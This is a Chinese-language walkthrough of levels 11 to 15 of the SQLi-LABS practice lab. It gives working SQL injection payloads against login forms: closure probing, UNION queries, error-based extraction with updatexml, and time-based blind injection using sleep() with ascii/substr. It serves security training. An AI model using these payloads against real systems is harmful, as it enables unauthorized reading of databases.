SQLi-LABS【11-15关】通关攻略

SQLi-LABS 11关

1.第11关是post注入,利用表单进行注入,这里要使用表单进行搜索注入或者BurpSurite抓包

这里我们只用搜索注入

2.在Username中进行sql闭合方式测试

1'              //报sql语法错误

1' #           //无回显,表示正常

闭合方式是字符型 '

 3.使用联合查询语句进行数据库查询,得到数据库名security

1' union select 1,database() #

 SQLi-LABS 12关

1.该关也是post注入,同样的,可以使用搜索框注入或者burpsurite抓包

由于11关使用的搜索注入,这关我们使用抓包

2.在username输入随意字符提交进行抓包,这里输入‘1’

得到包后,发送到Rapeater

3.注入点就是刚才输入的1

在1后面进行闭合方式测试

1' --+     //没有回显

1"          //报sql语法错误

1" --+     //报sql语法错误

1") --+    //不再报错

所以是字符型注入"

4.使用联合查询进行数据库名查询

注入语句:

1") union select 1,database() --+

SQLi-LABS 13关

1.这一关按照11关12关的方式进行sql注入测试

1'         //报错

1' #      //报错

1"        //无回显

1') #    //无回显

所以是字符型 ')

2.在进行测试中,发现有报错信息,所以使用报错注入

注入语句:

1') union select 1,updatexml(1,concat(1,(select database())),1) #

 

SQLi-LABS 14关

1.和13关一样,使用报错注入

2.判断闭合方式

1' #        //无回显

1"          //报错

1" #       //无回显

所以是字符型 "

3.使用报错注入语句

注入语句:

1" union select 1,updatexml(1,concat(1,(select database())),1) #

SQLi-LABS 15关 

1.该关进行sql测试时发现无论输入什么都没有回显,所以只能使用时间盲注

2.测试是否可以使用时间盲注,就是使用sleep()函数进行延时测试

admin' and sleep(3) #     //有明显延迟

所以闭合方式是 ' #且可以使用时间盲注

3.通过时间盲注语句进行注入,得到数据库名

注入语句:

admin' and if((ascii(substr(database(),1,1))=115),sleep(5),0) #

以此类推,更改参数得到数据库名security

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值